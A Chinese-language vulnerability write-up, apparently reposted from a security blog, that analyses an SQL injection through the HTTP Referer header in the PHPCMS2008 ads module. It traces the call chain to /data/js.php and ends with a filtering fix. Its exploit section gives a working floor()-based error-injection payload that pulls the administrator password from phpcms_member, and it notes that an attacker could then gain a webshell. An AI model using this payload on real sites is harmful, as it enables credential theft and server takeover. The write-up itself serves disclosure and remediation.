00 漏洞描述
PHPCMS2008由于广告模块取referer不严,导致一处sql注入漏洞.可以得到管理员用户名与密码,攻击者登录后台后可能会获取webshell,对服务器进行进一步的渗透。
01 漏洞分析
漏洞产生的位置:
/ads/include/ads_place.class.php的show方法中.
1
2
3
4
5
6
7
8
9
10
11
12
|
function show( $placeid )
...
if ( $adses [0][ 'option' ])
{
foreach ( $adses as $ads )
{
$contents [] = ads_content( $ads , 1);
$this ->db->query(“INSERT INTO $this ->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘ $ads [adsid] ',' $_username ',' $ip ',‘$this->referrer' ,‘ $time ',,' 0')”);
$template = $ads [ 'template' ] ? $ads [ 'template' ] : 'ads' ;
}
}
...
|
sql语句中
1
|
$this ->db->query(“INSERT INTO $this ->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘ $ads [adsid] ',' $_username ',' $ip ',‘$this->referrer' ,‘ $time ',,' 0')”);
|
这里$this->referrer通过this方法直接将HTTP请求头中的referer字段插入到数据库中,没有做任何过滤措施。(这个this方法是PHPCMS里面直接封装的)。
所以现在已经找到漏洞点,下一步就是找包含漏洞的用户可控的页面。如果漏洞是用户不可控的,比如只能管理员利用,那就相当的鸡肋了。
这里使用回溯的方法,看看哪些页面调用了它。
页面/ads/include/commom.inc.php
1
2
3
4
5
6
|
<?php
...
require MOD_ROOT. 'include/ads_place.class.php' ;
require MOD_ROOT. 'include/ads.class.php' ;
...
?>
|
在往上看看谁调用了/ads/include/commom.inc.php
/ads/ad.php文件中
1
2
3
4
5
|
<?php
...
require './include/common.inc.php' ;
...
?>
|
ad.php文件为用户可控文件,但ad.php有时不能访问,继续向上查找/data/js.php
1
2
3
4
|
<?php
chdir (‘../ads/');
require ‘./ad.php';
?>
|
在用户访问首页时,会调用js.php,通过该文件可以提交有害字段,然后通过逐层调用,传入字段referer到危险方法show,引入SQL注入攻击。
02 漏洞利用
修改请求头中的referer字段的话有很多种,比如burpsuite,Tamper Data…
这里直接使用火狐的Tamper Data进行修改:
点击Start Tamper,然后访问http://your-addr/data/js.php?id=1
这时候Tamper Data会跳出来,在右边框内,点击右键,添加一个element值填写payload
1
|
referer=1 ', (SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0' )#
|
这里我解释一下:因为漏洞的sql语句是INSERT是不回显的,所以可以使用盲注,这里的payload使用的floor报错注入。floor报错注入原理请参考:floor函数用法
把这个payload带入sql语句中是:
1
|
$this ->db->query(“INSERT INTO $this ->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘ $ads [adsid] ',' $_username ',' $ip ',‘1' ,‘ $time ',(SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0' )#, '0' )”);
|
03 漏洞修复
对相关字段进行过滤处理。
1
2
3
|
$referer = safe_replace( $this ->referer);
$this ->db->query( "INSERT INTO $this->stat_table (`adsid`, `username`, `ip`, `referer`, `clicktime`, `type`) VALUES ('$ads[adsid]', '$_username', '$ip', '$referer', '$time', '0')" );
$template = $ads [ 'template' ] ? $ads [ 'template' ] : 'ads' ;
|
这里safe_replace是PHPCMS2008封装的过滤函数。
以上所述是小编给大家介绍的PHPCMS2008广告模板SQL注入漏洞,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对服务器之家网站的支持!
原文链接:http://byd.dropsec.xyz/2016/09/22/PHPCMS2008广告模板SQL注入漏洞/